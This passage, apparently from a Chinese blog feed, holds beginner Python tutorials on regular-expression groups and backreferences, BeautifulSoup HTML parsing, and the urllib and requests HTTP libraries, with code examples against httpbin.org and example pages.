    那么,什么是捕获呢?使用小括号指定一个子表达式后,匹配这个子表达式的文本(即匹配的内容)可以在表达式或者其他过程中接着用,怎么用呢?至少应该有个指针啥的引用它吧? 对!默认情况下,每个分组(小括号)会自动拥有一个组号,从左到右,以分组的左括号为标志,第一个出现的分组组号为1,后续递增。如果出现嵌套,

    s = 'aaa111aaa , bbb222 , 333ccc're.findall(r'[a-z]+(\d+)[a-z]', s)# result:['111']re.findall(r'[a-z]+\d+[a-z]', s)  # 对比(\d+)的用法# result:['aaa111a']re.findall(r'[a-z]+\d+[a-z]+', s)  # 对比(\d+)的用法# result:['aaa111aaa']s = '111aaa222aaa111 , 333bbb444bb33're.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', s)# result:[('111', 'aaa', '222', 'aaa', '111')]re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', '333bbb444bb33')# result:[]re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', '333bbb444bbb333')# result:[('333', 'bbb', '444', 'bbb', '333')]re.findall(r'(\d+)([a-z]+)(\d+)(\1)(\2)', '333bbb444bbb333')# result:[]

    非捕获组

    用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,使相关的匹配会被缓存。可用?:放在第一个选项前来消除这种副作用。

    其中 ?: 是非捕获元之一,还有两个非捕获元是 ?= 和 ?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。

    # (?:pattern)与(pattern)不同之处只是在于不捕获结果,非捕获组只匹配结果,但不捕获结果,也不会分配组号s = 'industry is industries lala industyyy industiii're.findall(r'industr(?:y|ies)', s)# result: ['industry', 'industries']s = 'Windows2000 Windows3.1're.findall(r'Windows(?=95|98|NT|2000)', s)# result: ['Windows']# 匹配 "Windows2000" 中的 "Windows",不匹配 "Windows3.1" 中的 "Windows"。s = 'Windows2000 Windows3.1're.findall(r'Windows(?!95|98|NT|2000)', s)# result: ['Windows']# 匹配 "Windows3.1" 中的 "Windows",不匹配 "Windows2000" 中的 "Windows"。s = 'aaa111aaa,bbb222,333ccc,444ddd444,555eee666,fff777ggg're.findall(r'([a-z]+)\d+([a-z]+)', s)# result:[('aaa', 'aaa'), ('fff', 'ggg')]re.findall(r'(?P<g1>[a-z]+)\d+(?P=g1)', s)# result:['aaa']re.findall(r'(?P<g1>[a-z]+)\d+(?P=g1)', 'aaa111aaa,bbb222,333ccc,444ddd444,555eee666,fff777fff')# result:['aaa', 'fff']re.findall(r'[a-z]+(\d+)([a-z]+)', s)# result: [('111', 'aaa'), ('777', 'ggg')]re.findall(r'([a-z]+)\d+', s)# result:['aaa', 'bbb', 'ddd', 'eee', 'fff']re.findall(r'([a-z]+)\d+\1', s)# result:['aaa']s = 'I have a dog , I have a cat're.findall(r'I have a (?:dog|cat)', s)# result: ['I have a dog', 'I have a cat']re.findall(r'I have a dog|cat', s)# result: ['I have a dog', 'cat']s = 'ababab abbabb aabaab abbbbbab're.findall(r'\b(?:ab)+\b', s)# result: ['ababab']re.findall(r'\b(ab)+\b', s)# result: ['ab']

    反向引用

    捕获组(Expression)在匹配成功时,会将子表达式匹配到的内容,保存到内存中一个以数字编号的组里,可以简单的认为是对一个局部变量进行了赋值,这时就可以通过反向引用方式,引用这个局部变量的值。一个捕获组(Expression)在匹配成功之前,它的内容可以是不确定的,一旦匹配成功,它的内容就确定了,反向引用的内容也就是确定的了。

    反向引用必然要与捕获组一同使用的,如果没有捕获组,而使用了反向引用的语法,不同语言的处理方式不一致,有的语言会抛异常,有的语言会当作普通的转义处理。

    s = 'Is is the cost of of gasoline going up up ?'re.findall(r'\b([a-z]+) \1\b', s, re.I)  # 大小写不敏感# result: ['Is', 'of', 'up']re.findall(r'\b([a-z]+) \1\b', s)# result: ['of', 'up']s = 'http://www.w3cschool.cc:80/html/html-tutorial.html're.findall(r'(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)', s)# result: [('http', 'www.w3cschool.cc', ':80', '/html/html-tutorial.html')]

    注意区别:pattern+?、pattern*?、(?!pattern)、(?:pattern)

    pattern+?、pattern*?

    这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 * 是贪婪匹配,即匹配尽可能长的字符串,在它们后面加上 ? 表示想要进行懒惰匹配。

    (?!pattern)

    表示一个过滤条件,若字符串符合 pattern 则将其过滤掉。在分析日志时很有用,例如想过滤掉包含 info 标记的日志可以写 ^(?!.info).$。

    (?:pattern)

    这条规则主要是为了优化性能,对匹配没有影响。它表示括号内的子表达式匹配的结果不需要返回也不会被 12 之类的反向引用。

    模式匹配

    1. import re导入正则表达式模块。Python中所有正则表达式的函数都在re模块中,所以我们要先引入re模块;
    2. 用re.compile()函数创建一个Regex对象(参数就是要匹配的内容的正则表达式);
    3. 用Regex对象的search()方法来查找一段字符串,返回那个匹配的对象num,num中是一段相应的描述信息;
    4. 调用匹配对象num的group()方法,返回实际匹配文本的字符串。
    import res1 = "once upon a time"s2 = "There once was a man from NewYork"print(re.findall(r'^once', s1))# result: ['once']print(re.findall(r'^once', s2))# result: []print(re.findall(r'time$', s1))# result: ['time']print(re.findall(r'times$', s1))# result: []print(re.findall(r'^time$', s1))# result: []print(re.findall(r'^time$', 'time'))# result: ['time']## compiles = '111,222,aaa,bbb,ccc333,444ddd'rule = r'\b\d+\b'compiled_rule = re.compile(rule)print(compiled_rule.findall(s))# result: ['111', '222']## matchprint(re.match('www', 'www.runoob.com').span())  # 在起始位置匹配# result: (0, 3)print(re.match('com', 'www.runoob.com'))  # 不在起始位置匹配# result: Noneline = "Cats are smarter than dogs"matchObj = re.match(r'(.*) are (.*?) .*', line, re.M | re.I)if matchObj:    print("matchObj.group() : ", matchObj.group())    # result: matchObj.group() :  Cats are smarter than dogs    print("matchObj.group(1) : ", matchObj.group(1))    # result: matchObj.group(1) :  Cats    print("matchObj.group(2) : ", matchObj.group(2))    # result: matchObj.group(2) :  smarterelse:    print("No match!!")## searchprint(re.search('www', 'www.runoob.com').span())  # 在起始位置匹配# result: (0, 3)print(re.search('com', 'www.runoob.com').span())  # 不在起始位置匹配# result: (11, 14)line = "Cats are smarter than dogs";searchObj = re.search(r'(.*) are (.*?) .*', line, re.M | re.I)if searchObj:    print("searchObj.group() : ", searchObj.group())    # result: searchObj.group() :  Cats are smarter than dogs    print("searchObj.group(1) : ", searchObj.group(1))    # result: searchObj.group(1) :  Cats    print("searchObj.group(2) : ", searchObj.group(2))    # result: searchObj.group(2) :  smarterelse:    print("Nothing found!!")## match与searchline = "Cats are smarter than dogs"matchObj = re.match(r'dogs', line, re.M | re.I)if matchObj:    print("match --> matchObj.group() : ", matchObj.group())else:    print("No match!!")    # result: No match!!matchObj = re.search(r'dogs', line, re.M | re.I)if matchObj:    print("search --> matchObj.group() : ", matchObj.group())    # result: search --> matchObj.group() :  dogselse:    print("No match!!")## subphone = "2004-959-559 # This is Phone Number"num = re.sub(r'#.*$', "", phone)print("Phone Num : ", num)# result: Phone Num :  2004-959-559num = re.sub(r'\D', "", phone)print("Phone Num : ", num)# result: Phone Num :  2004959559

    正则表达式与BeautifulSoup

    from urllib.request import urlopenfrom bs4 import BeautifulSoupimport rehtml = urlopen("http://www.pythonscraping.com/pages/page3.html")bsObj = BeautifulSoup(html, 'lxml')# print(bsObj.prettify())images = bsObj.findAll("img", {"src": re.compile("\.\.\/img\/gifts/img.*\.jpg")})for image in images:    print(image["src"])# result: ../img/gifts/img1.jpg# ../img/gifts/img2.jpg# ../img/gifts/img3.jpg# ../img/gifts/img4.jpg# ../img/gifts/img6.jpg
    ]]>
    - - - - - Python - - - - - - - Python - - regex - - - -
    - - - - - Python网络爬虫实战之四:BeautifulSoup - - /Coderzgh.github.io/2019/05/14/python-crawler-beautifulsoup-4/ - - 正文:

    Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Beautiful Soup会帮你节省数小时甚至数天的工作时间.

    安装: pip install beautifulsoup4

    名字是beautifulsoup 的包,是 Beautiful Soup3 的发布版本,因为很多项目还在使用BS3, 所以 beautifulsoup 包依然有效.但是如果你在编写新项目,那么你应该安装的 beautifulsoup4,这个包兼容Python2和Python3

    BeautifulSoup的基础使用

    下面的一段HTML代码将作为例子被多次用到.这是《爱丽丝梦游仙境》的的一段内容(以后简称文档)

    html_doc = """<html><head><title>The Dormouse's story</title></head><body><p class="title"><b>The Dormouse's story</b></p><p class="story">Once upon a time there were three little sisters; and their names were<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;and they lived at the bottom of a well.</p><p class="story">...</p>"""

    使用BeautifulSoup解析这段代码,能够得到一个 BeautifulSoup 的对象,并能按照标准的缩进格式的结构输出

    from bs4 import BeautifulSoupsoup = BeautifulSoup(html_doc, "lxml")print(soup.prettify())# result:# <html>#  <head>#   <title>#    The Dormouse's story#   </title>#  </head>#  <body>#   <p class="title">#    <b>#     The Dormouse's story#    </b>#   </p>#   <p class="story">#    Once upon a time there were three little sisters; and their names were#    <a class="sister" href="http://example.com/elsie" id="link1">#     Elsie#    </a>#    ,#    <a class="sister" href="http://example.com/lacie" id="link2">#     Lacie#    </a>#    and#    <a class="sister" href="http://example.com/tillie" id="link3">#     Tillie#    </a>#    ;# and they lived at the bottom of a well.#   </p>#   <p class="story">#    ...#   </p>#  </body># </html>

    几个简单的浏览结构化数据的方法

    soup.title# result: <title>The Dormouse's story</title>soup.title.name# result: 'title'soup.title.string# result: 'The Dormouse's story'soup.title.text# result: 'The Dormouse's story'soup.title.parent.name# result: 'head'soup.p# result: <p class="title"><b>The Dormouse's story</b></p>soup.p['class']# result: 'title'soup.a# result: <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>soup.find_all('a')#  result:# [<a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,#  <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a>,#  <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>]soup.find(id="link3")# result: <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>

    从文档中找到所有标签的链接

    for link in soup.find_all('a'):    print(link.get('href'))# result:# http://example.com/elsie# http://example.com/lacie# http://example.com/tillie

    从文档中获取所有文字内容

    print(soup.get_text())# result:# The Dormouse's story## The Dormouse's story## Once upon a time there were three little sisters; and their names were# Elsie,# Lacie and# Tillie;# and they lived at the bottom of a well.## ...

    从文档中解析导航树

    # 直接子节点print(soup.body.contents)for child in soup.descendants:    print(child)# 所有后代节点for child in soup.descendants:    print(child)# 节点内容1-包含换行符for string in soup.strings:    print(repr(string))# 节点内容2-不包含换行符for string in soup.stripped_strings:    print(repr(string))# 兄弟节点(没有一个兄弟节点会返回None)print(soup.p.next_sibling)print(soup.p.previous_sibling)for sibling in soup.a.next_siblings:    print(repr(sibling))# 前后节点print(soup.head.next_element)print(soup.head.previous_element)# 父节点from urllib.request import urlopenhtml = urlopen("http://www.pythonscraping.com/pages/page3.html")bsObj = BeautifulSoup(html)print(bsObj.find("img", {"src": "../img/gifts/img1.jpg"}).parent.previous_sibling.get_text())

    从文档中解析CSS选择器

    print(soup.select('title'))print(soup.select('a'))print(soup.select('b'))print(soup.select('.sisiter'))print(soup.select('#link1'))print(soup.select('p #link1'))print(soup.select('head > title'))print(soup.select('a[class="sister"]'))print(soup.select('a[href="http://example.com/elsie"]'))print(soup.select('p a[href="http://example.com/elsie"]'))

    结合正则表达式或其他逻辑条件

    import refor tag in soup.find_all(href=re.compile("elsie")):    print(tag)# result: <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>for tag in soup.find_all("a", class_="sister"):    print(tag)# result:# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a># <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a># <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>for tag in soup.find_all(["a", "b"]):    print(tag)# result :# <b>The Dormouse's story</b># <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a># <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a># <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>for tag in soup.find_all(True):    print(tag)# result:# <html><head><title>The Dormouse's story</title></head># <body># <p class="title"><b>The Dormouse's story</b></p># <p class="story">Once upon a time there were three little sisters; and their names were# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;# and they lived at the bottom of a well.</p># <p class="story">...</p># </body></html># <head><title>The Dormouse's story</title></head># <title>The Dormouse's story</title># <body># <p class="title"><b>The Dormouse's story</b></p># <p class="story">Once upon a time there were three little sisters; and their names were# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;# and they lived at the bottom of a well.</p># <p class="story">...</p># </body># <p class="title"><b>The Dormouse's story</b></p># <b>The Dormouse's story</b># <p class="story">Once upon a time there were three little sisters; and their names were# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;# and they lived at the bottom of a well.</p># <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a># <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a># <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a># <p class="story">...</p>def has_class_but_no_id(tag):    return tag.has_attr('class') and not tag.has_attr('id')for tag in soup.find_all(has_class_but_no_id):    print(tag)# result:# <p class="title"><b>The Dormouse's story</b></p># <p class="story">Once upon a time there were three little sisters; and their names were# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,# <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a> and# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>;# and they lived at the bottom of a well.</p># <p class="story">...</p>

    BeautifulSoup的主要参数的使用

    html_doc = """<html><head><title>The Dormouse's story</title></head><body><p class="title"><b>The Dormouse's story</b></p><p class="story">Once upon a time there were three little sisters; and their names were<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;and they lived at the bottom of a well.</p><p class="story">...</p>"""import bs4from bs4 import BeautifulSoupsoup = BeautifulSoup(html_doc, "lxml")# text参数soup.find_all(text="Elsie")soup.find_all(text=["Elsie", "Lacie", "Tillie"])soup.find_all(text=re.compile("Dormouse"))# limit参数soup.find_all("a", limit=2)# recursive参数soup.html.find_all("title")soup.html.find_all("title", recursive=False)# tag对象print(soup.title)print(soup.head)print(soup.a)print(soup.p)print(type(soup.a))print(soup.name)print(soup.head.name)print(soup.p.attrs)print(soup.p['class'])print(soup.p.get('class'))soup.p['class'] = "newclass"print(soup.p)del soup.p['class']print(soup.p)# NavigableString对象print(soup.p.string)print(type(soup.p.string))# BeautifulSoup对象print(type(soup.name))print(soup.name)print(soup.attrs)# Comment对象print(soup.a)print(soup.a.string)print(type(soup.a.string))if type(soup.a.string) == bs4.element.Comment:    print(soup.a.string)

    BeautifulSoup解析在线网页实例

    from urllib.request import urlopenfrom bs4 import BeautifulSouphtml = urlopen('http://www.pythonscraping.com/exercises/exercise1.html')bsObj = BeautifulSoup(html.read(), 'lxml')print(bsObj.h1)# CSS属性from urllib.request import urlopenfrom bs4 import BeautifulSouphtml = urlopen('http://www.pythonscraping.com/pages/warandpeace.html')bsObj = BeautifulSoup(html, 'lxml')nameList = bsObj.findAll('span', {'class': 'green'})for name in nameList:    print(name.get_text())# find()和findall()from urllib.request import urlopenfrom bs4 import BeautifulSouphtml = urlopen('http://www.pythonscraping.com/pages/warandpeace.html')bsObj = BeautifulSoup(html)allText = bsObj.findAll(id='text')print(allText[0].get_text())

    更多使用方法参见BeautifulSoup 中文文档

    ]]>
    - - - - - Python - - - - - - - Python - - BeautifulSoup - - - -
    - - - - - Python网络爬虫实战之三:基本工具库urllib和requests - - /Coderzgh.github.io/2019/05/13/python-crawler-urllib-requests-3/ - - Python网络爬虫实战之三:基本工具库urllib和requests

    一、urllib

    urllib简介

    urllib是Python中一个功能强大用于操作URL,并在爬虫时经常用到的一个基础库,无需额外安装,默认已经安装到python中。

    urllib在python2.x与python3.x中的区别

    在python2.x中,urllib分为urllib和urllib2,在python3.x中合并为urllib。两者使用起来不太一样,注意转换。

    Python2.xPython3.x
    import urllib2import urllib.request,urllib.error
    import urllibimport urllib.request,urllib.error,urllib.parse
    import urlparseimport urllib.parse
    import urlopenimport urllib.request.urlopen
    import urlencodeimport urllib.parse.urlencode
    import urllib.quoteimport urllib.request.quote
    cookielib.CookieJarhttp.CookieJar
    urllib2.Requesturllib.request.Request

    urllib的四个子模块

    Python3.6.0中urllib模块包括一下四个子模块,urllib模块是一个运用于URL的包(urllib is a package that collects several modules for working with URLs)

    • urllib.request用于访问和读取URLS(urllib.request for opening and reading URLs),就像在浏览器里输入网址然后回车一样,只需要给这个库方法传入URL和其他参数就可以模拟实现这个过程。
    • urllib.error包括了所有urllib.request导致的异常(urllib.error containing the exceptions raised by urllib.request),我们可以捕捉这些异常,然后进行重试或者其他操作以确保程序不会意外终止。
    • urllib.parse用于解析URLS(urllib.parse for parsing URLs),提供了很多URL处理方法,比如拆分、解析、合并、编码。
    • urllib.robotparser用于解析robots.txt文件(urllib.robotparser for parsing robots.txt files),然后判断哪些网站可以爬,哪些网站不可以爬。

    使用urllib打开网页

    最基本的方法打开网页

    # 最基本的方法打开网页from urllib.request import urlopenresponse = urlopen("http://www.baidu.com")print(type(response))print(response.status)print(response.getheaders())print(response.getheader('Server'))html = response.read()print(html)

    携带data参数打开网页

    # 携带data参数打开网页from urllib.parse import urlencodefrom urllib.request import urlopendata = bytes(urlencode({'word': 'hello'}), encoding='utf8')response = urlopen('http://httpbin.org/post', data=data)print(response.read().decode('utf-8'))

    携带timeout参数打开网页1

    #  携带timeout参数打开网页1from urllib.request import urlopen# response = urllib.request.urlopen('http://httpbin.org/get', timeout=0.1)response = urlopen('http://httpbin.org/get', timeout=1)print(response.read())

    携带timeout参数打开网页2

    # 携带timeout参数打开网页2from urllib.request import urlopentry:    response = urlopen('http://httpbin.org/get', timeout=0.1)    print(response.read())except Exception as e:    print(e)

    通过构建Request打开网页1

    # 通过构建Request打开网页1from urllib.request import Requestfrom urllib.request import urlopenrequest = Request('https://python.org')response = urlopen(request)print(response.read().decode('utf-8'))

    通过构建Request打开网页2

    # 通过构建Request打开网页2from urllib.request import Requestfrom urllib.request import urlopenfrom urllib.parse import urlencodeurl = 'http://httpbin.org/post'headers = {    'User-Agent': 'Mozilla/4.0(compatibe;MSIE 5.5;Windows NT)',    'Host': 'httpbin.org'}dict = {'name': 'Germey'}data = bytes(urlencode(dict), encoding='utf8')req = Request(url=url, data=data, headers=headers, method='POST')response = urlopen(req)print(response.read().decode('utf-8'))

    与通过构建Request打开网页2对比

    # 与通过构建Request打开网页2对比from urllib.request import Requestfrom urllib.request import urlopenreq = Request(url=url, data=data, method='POST')response = urlopen(req)print(response.read().decode('utf-8'))

    通过构建Request打开网页3:通过add_header方

    # 通过构建Request打开网页3:通过add_header方法添加headersfrom urllib.request import Requestfrom urllib.request import urlopenfrom urllib.parse import urlencodeurl = 'http://httpbin.org/post'dict = {'name': 'Germey'}data = bytes(urlencode(dict), encoding='utf8')req = Request(url=url, data=data, method='POST')req.add_header('User-Agent', 'Mozilla/4.0(compatibe;MSIE 5.5;Windows NT)')response = urlopen(req)print(response.read().decode('utf-8'))

    urlencode()的使用

    # urlencode()的使用from urllib.parse import urlencodefrom urllib.request import urlopendata = {'first': 'true', 'pn': 1, 'kd': 'Python'}data = urlencode(data).encode('utf-8')datapage = urlopen(req, data=data).read()page

    使用代理打开网页

    # 使用代理from urllib.error import URLErrorfrom urllib.request import ProxyHandler, build_openerproxy_handler = ProxyHandler({'http': '106.56.102.140:8070'})opener = build_opener(proxy_handler)try:    response = opener.open('http://www.baidu.com/')    print(response.read().decode('utf-8'))except URLError as e:    print(e.reason)

    二、requests

    相比较urllib模块,requests模块要简单很多,但是需要单独安装:

    • 在windows系统下只需要在命令行输入命令 pip install requests 即可安装。
    • 在 linux 系统下,只需要输入命令 sudo pip install requests ,即可安装。

    requests库的八个主要方法

    方法描述
    requests.request()构造一个请求,支持以下各种方法
    requests.get()向html网页提交get请求的方法
    requests.post()向html网页提交post请求的方法
    requests.head()获取html头部信息的主要方法
    requests.put()向html网页提交put请求的方法
    requests.options()向html网页提交options请求的方法
    requests.patch()向html网页提交局部修改的请求
    requests.delete()向html网页提交删除的请求

    请求之后,服务器通过response返回数据,response具体参数如下图:

    属性描述
    r.status_codehttp请求的返回状态,若为200则表示请求成功
    r.texthttp响应内容的字符串形式,即返回的页面内容
    r.encoding从http header 中猜测的相应内容编码方式
    r.apparent_encoding从内容中分析出的响应内容编码方式(备选编码方式)
    r.contenthttp响应内容的二进制形式

    requests.request(method, url, **kwargs)

    • method:即 get、post、head、put、options、patch、delete
    • url:即请求的网址
    • **kwargs:控制访问的参数,具体参数如下:
      • params:字典或字节序列,作为参数增加到url中。使用这个参数可以把一些键值对以?key1=value1&key2=value2的模式增加到url中
    ## request(method, url, **kwargs),当 **kwargs 为 paramsimport requestspayload = {'key1': 'value1', 'key2': 'value2'}r = requests.request('GET', 'http://httpbin.org/get', params=payload)print(r.url)# result: http://httpbin.org/get?key1=value1&key2=value2print(r.text)# result:# {#   "args": {#     "key1": "value1", #     "key2": "value2"#   }, #   "headers": {#     "Accept": "*/*", #     "Accept-Encoding": "gzip, deflate", #     "Connection": "close", #     "Host": "httpbin.org", #     "User-Agent": "python-requests/2.19.1"#   }, #   "origin": "1.203.183.95", #   "url": "http://httpbin.org/get?key1=value1&key2=value2"# }
      • data:字典,字节序或文件对象,重点作为向服务器提供或提交资源是提交,作为request的内容,与params不同的是,data提交的数据并不放在url链接里, 而是放在url链接对应位置的地方作为数据来存储。它也可以接受一个字符串对象。
    ## request(method, url, **kwargs),当 **kwargs 为 dataimport requestspayload = {'key1': 'value1', 'key2': 'value2'}r = requests.request('POST', 'http://httpbin.org/post', data=payload)print(r.url)# result: http://httpbin.org/postprint(r.text)# result:# {#   "args": {}, #   "data": "", #   "files": {}, #   "form": {#     "key1": "value1", #     "key2": "value2"#   }, #   "headers": {#     "Accept": "*/*", #     "Accept-Encoding": "gzip, deflate", #     "Connection": "close", #     "Content-Length": "23", #     "Content-Type": "application/x-www-form-urlencoded", #     "Host": "httpbin.org", #     "User-Agent": "python-requests/2.19.1"#   }, #   "json": null, #   "origin": "1.203.183.95", #   "url": "http://httpbin.org/post"# }
      • json:json格式的数据, json合适在相关的html,http相关的web开发中非常常见, 也是http最经常使用的数据格式, 他是作为内容部分可以向服务器提交。
    ## request(method, url, **kwargs),当 **kwargs 为 jsonimport requestspayload = {'key1': 'value1', 'key2': 'value2'}r = requests.request('POST', 'http://httpbin.org/post', json=payload)print(r.url)# result: http://httpbin.org/postprint(r.text)# result:# {#   "args": {}, #   "data": "{\"key1\": \"value1\", \"key2\": \"value2\"}", #   "files": {}, #   "form": {}, #   "headers": {#     "Accept": "*/*", #     "Accept-Encoding": "gzip, deflate", #     "Connection": "close", #     "Content-Length": "36", #     "Content-Type": "application/json", #     "Host": "httpbin.org", #     "User-Agent": "python-requests/2.19.1"#   }, #   "json": {#     "key1": "value1", #     "key2": "value2"#   }, #   "origin": "1.203.183.95", #   "url": "http://httpbin.org/post"# }
      • files:字典, 是用来向服务器传输文件时使用的字段。
    ## request(method, url, **kwargs),当 **kwargs 为 fileimport requests# filejiatao.txt 文件的内容是文本“www.baidu.com www.cctvjiatao.com”files = {'file': open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "rb")}r = requests.request('POST', 'http://httpbin.org/post', files=files)print(r.url)# result: http://httpbin.org/postprint(r.text)# result:# {#   "args": {}, #   "data": "", #   "files": {#     "file": "www.baidu.com www.cctvjiatao.com"#   }, #   "form": {}, #   "headers": {#     "Accept": "*/*", #     "Accept-Encoding": "gzip, deflate", #     "Connection": "close", #     "Content-Length": "182", #     "Content-Type": "multipart/form-data; boundary=ee12ea6a4fd2b8a3318566775f2b268f", #     "Host": "httpbin.org", #     "User-Agent": "python-requests/2.19.1"#   }, #   "json": null, #   "origin": "1.203.183.95", #   "url": "http://httpbin.org/post"# }
      • headers:字典是http的相关语,对应了向某个url访问时所发起的http的头字段, 可以用这个字段来定义http的访问的http头,可以用来模拟任何我们想模拟的浏览器来对url发起访问。
    ## request(method, url, **kwargs),当 **kwargs 为 headersimport requestspayload = {'key1': 'value1', 'key2': 'value2'}headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"}r = requests.request('GET', 'http://httpbin.org/get', params=payload, headers=headers)print(r.url)# result: http://httpbin.org/get?key1=value1&key2=value2print(r.text)# result:# {#   "args": {#     "key1": "value1", #     "key2": "value2"#   }, #   "headers": {#     "Accept": "*/*", #     "Accept-Encoding": "gzip, deflate", #     "Connection": "close", #     "Host": "httpbin.org", #     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"#   }, #   "origin": "1.203.183.95", #   "url": "http://httpbin.org/get?key1=value1&key2=value2"# }
      • cookies:字典或CookieJar,指的是从http中解析cookie
    ## request(method, url, **kwargs),当 **kwargs 为 cookiesimport requestscookies = dict(cookies_are='working')r = requests.request('GET', 'http://httpbin.org/cookies', cookies=cookies)print(r.url)# result: http://httpbin.org/cookiesprint(r.text)# result:# {#   "cookies": {#     "cookies_are": "working"#   }# }
      • auth:元组,用来支持http认证功能
    ## request(method, url, **kwargs),当 **kwargs 为 authimport requestscs_user = '用户名'cs_psw = '密码'r = requests.request('GET', 'https://api.github.com', auth=(cs_user, cs_psw))print(r.url)# result: 待补充print(r.text)# result: 待补充
      • timeout: 用于设定超时时间, 单位为秒,当发起一个get请求时可以设置一个timeout时间, 如果在timeout时间内请求内容没有返回, 将产生一个timeout的异常。
    ## request(method, url, **kwargs),当 **kwargs 为 timeoutimport requestsr = requests.request('GET', 'http://github.com', timeout=0.001)print(r.url)# result: 报错 socket.timeout: timed out
      • proxies:字典, 用来设置访问代理服务器。
    ## request(method, url, **kwargs),当 **kwargs 为 proxiesimport requestsproxies = {    'https': 'http://41.118.132.69:4433'}# 也可以通过环境变量设置代理# export HTTP_PROXY='http://10.10.1.10:3128'# export HTTPS_PROXY='http://10.10.1.10:1080'r = requests.request('GET', 'http://httpbin.org/get', proxies=proxies)print(r.url)# result: http://httpbin.org/getprint(r.text)# result:# {#   "args": {}, #   "headers": {#     "Accept": "*/*", #     "Accept-Encoding": "gzip, deflate", #     "Connection": "close", #     "Host": "httpbin.org", #     "User-Agent": "python-requests/2.19.1"#   }, #   "origin": "1.203.183.95", #   "url": "http://httpbin.org/get"# }
      • verify:开关, 用于认证SSL证书, 默认为True
    ## request(method, url, **kwargs),当 **kwargs 为 verify,SSL证书验证import requestsr = requests.request('GET', 'https://kyfw.12306.cn/otn/', verify=True)print(r.text)r = requests.request('GET', 'https://kyfw.12306.cn/otn/', verify=False)print(r.text)r = requests.request('GET', 'https://github.com', verify=True)print(r.text)
      • allow_redirects: 开关, 表示是否允许对url进行重定向, 默认为True。
      • stream: 开关, 指是否对获取内容进行立即下载, 默认为True。
      • cert: 用于设置保存本地SSL证书路径

    requests.get(url, params=None, **kwargs)

    # 官方文档def get(url, params=None, **kwargs):    kwargs.setdefault('allow_redirects', True)    return request('get', url, params=params, **kwargs)

    requests.post(url, data=None, json=None, **kwargs)

    # 官方文档def post(url, data=None, json=None, **kwargs):    return request('post', url, data=data, json=json, **kwargs)

    requests.head(url, **kwargs)

    # 官方文档def head(url, **kwargs):    kwargs.setdefault('allow_redirects', False)    return request('head', url, **kwargs)

    requests.options(url, **kwargs)

    # 官方文档def options(url, **kwargs):    kwargs.setdefault('allow_redirects', True)    return request('options', url, **kwargs)

    requests.put(url, data=None, **kwargs)

    # 官方文档def put(url, data=None, **kwargs):    return request('put', url, data=data, **kwargs)

    requests.patch(url, data=None, **kwargs)

    # 官方文档def patch(url, data=None, **kwargs):    return request('patch', url, data=data, **kwargs)

    requests.patch和request.put类似。
    两者不同的是: 当我们用patch时仅需要提交需要修改的字段。
    而用put时,必须将所有字段一起提交到url,未提交字段将会被删除。
    patch的好处是:节省网络带宽。

    requests.delete(url, **kwargs)

    # 官方文档def delete(url, **kwargs):    return request('delete', url, **kwargs)

    requests库的异常

    注意requests库有时会产生异常,比如网络连接错误、http错误异常、重定向异常、请求url超时异常等等。所以我们需要判断r.status_codes是否是200,在这里我们怎么样去捕捉异常呢?
    这里我们可以利用r.raise_for_status() 语句去捕捉异常,该语句在方法内部判断r.status_code是否等于200,如果不等于,则抛出异常。
    于是在这里我们有一个爬取网页的通用代码框架

    try:    r = requests.get(url, timeout=30)  # 请求超时时间为30秒    r.raise_for_status()  # 如果状态不是200,则引发异常    r.encoding = r.apparent_encoding  # 配置编码    print(r.text)except:    print("产生异常")

    三、requests的综合小实例

    实例一:京东商品信息的爬取

